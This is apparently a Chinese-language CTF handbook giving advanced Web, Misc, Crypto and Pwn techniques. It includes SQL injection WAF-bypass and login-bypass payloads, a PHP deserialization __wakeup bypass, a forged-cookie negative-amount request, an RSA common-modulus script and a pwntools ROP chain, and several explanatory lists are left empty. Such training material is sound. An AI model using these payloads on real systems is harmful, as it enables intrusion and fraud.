作为一名参加过数十场CTF比赛的老兵,我深知从入门到精进的路上有哪些坑要避、哪些关要闯。今天这份手册不讲基础操作,只聚焦Web、Misc、Crypto、Pwn四大主流题型中那些让选手拉开差距的进阶技巧。通过20+真实赛题案例,带你掌握原理级突破方法,避开90%选手都会踩的典型误区。
新手用SQLMap跑全自动注入,老手则像外科手术般精准打击。去年省赛遇到一道过滤了union和select的题目,WAF规则如下:
python复制if re.search(r'union\s+select', payload, re.I):
return "Hacker Detected!"
突破方案是构造非常规空白符:
sql复制1'union%0a/*random*/select 1,database()--+
关键点在于:
某电商赛题存在三重漏洞链:
但真正有效的攻击是:
http复制POST /checkout HTTP/1.1
Cookie: role=manager
...
{"order_id":"-1","amount":-999}
触发逻辑:
PHP反序列化漏洞中,__wakeup()常被用作防护。某赛题源码:
php复制class Admin {
private $token;
function __wakeup() {
$this->token = bin2hex(random_bytes(16));
}
}
绕过方法是修改序列化字符串的属性计数:
php复制// 正常序列化
O:5:"Admin":1:{s:11:"\0Admin\0token";s:32:"真实token"}
// 攻击payload(将属性数改为0)
O:5:"Admin":0:{}
原理:PHP在属性数不匹配时会跳过__wakeup()
某决赛题目给出一个看似正常的MP3文件,常规检查无果。破解步骤:
关键工具链:
bash复制sox input.mp3 -n spectrogram -o spectrum.png
dd if=input.mp3 bs=1 skip=1024 | strings
遇到内存dump文件时,Volatility的进阶用法:
bash复制# 第一层:基础信息
vol.py -f mem.dump imageinfo
# 第二层:异常检测
vol.py --profile=Win7SP1x64 malfind -D ./dump
# 第三层:深度提取
vol.py --profile=Win7SP1x64 dumpfiles -Q 0xfffffa801e4f0100 -D ./
特别注意:
给定两组密文(c1,c2)使用相同n不同e:
python复制n = 0xabcdef...
e1 = 65537
e2 = 49157
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
攻击脚本:
python复制import gmpy2
def common_modulus(e1, e2, c1, c2, n):
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
c1 = gmpy2.invert(c1, n)
if t < 0:
t = -t
c2 = gmpy2.invert(c2, n)
return pow(c1,s,n) * pow(c2,t,n) % n
原理:利用扩展欧几里得算法找到s和t使得e1s + e2t = 1
当遇到类似"XLI UYIWX QIWWEKI"的密文时:
python复制def decrypt(text):
return ''.join([chr(ord(c)-4) for c in text[::-1]])
面对64位ELF的栈溢出,典型ROP构造:
python复制from pwn import *
context.arch = 'amd64'
elf = ELF('./vuln')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
payload = flat(
b'A'*0x28,
rop.chain()
)
关键技巧:
House of Orange攻击流程:
调试命令:
gdb复制gef➤ heap chunks # 查看堆布局
gef➤ heap bins # 分析bin状态
gef➤ x/10gx &main_arena # 查看管理结构
| 阶段 | 时间占比 | 任务重点 | 得分策略 |
|---|---|---|---|
| 开局 | 30分钟 | 快速扫描所有题目 | 标记简单题优先解决 |
| 中期 | 2小时 | 攻克中等难度题目 | 每题限时1小时 |
| 后期 | 1小时 | 难题部分得分点 | 尝试关键步骤得分 |
角色配置建议:
共享文档模板:
markdown复制[Web] login.php
- 可能存在SQLi:username=' or 1=1--
- WAF绕过:使用%0a代替空格
- 获取admin密码:d033e22ae348aeb5...
[Crypto] challenge3
- 确认是RSA共模攻击
- 已提取n=0xabc..., e1/e2=65537/49157
- 需要编写攻击脚本
错误案例:
正确做法:
python复制# 多层编码处理示例
from base64 import b64decode
from binascii import unhexlify
def decode_layers(data):
while True:
try:
data = b64decode(data).decode()
except:
try:
data = unhexlify(data).decode()
except:
return data
GDB增强配置:
bash复制# ~/.gdbinit
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
set follow-fork-mode child
set detach-on-fork off
Pwntools调试模板:
python复制context.log_level = 'debug'
io = process('./pwn')
gdb.attach(io, '''
b *main+0x123
c
''')
真正的进阶不在于掌握多少工具,而在于遇到未知挑战时,能否快速构建解题路径。建议每个漏洞类型都手工实现一次利用过程,这比跑十遍自动化工具更有价值。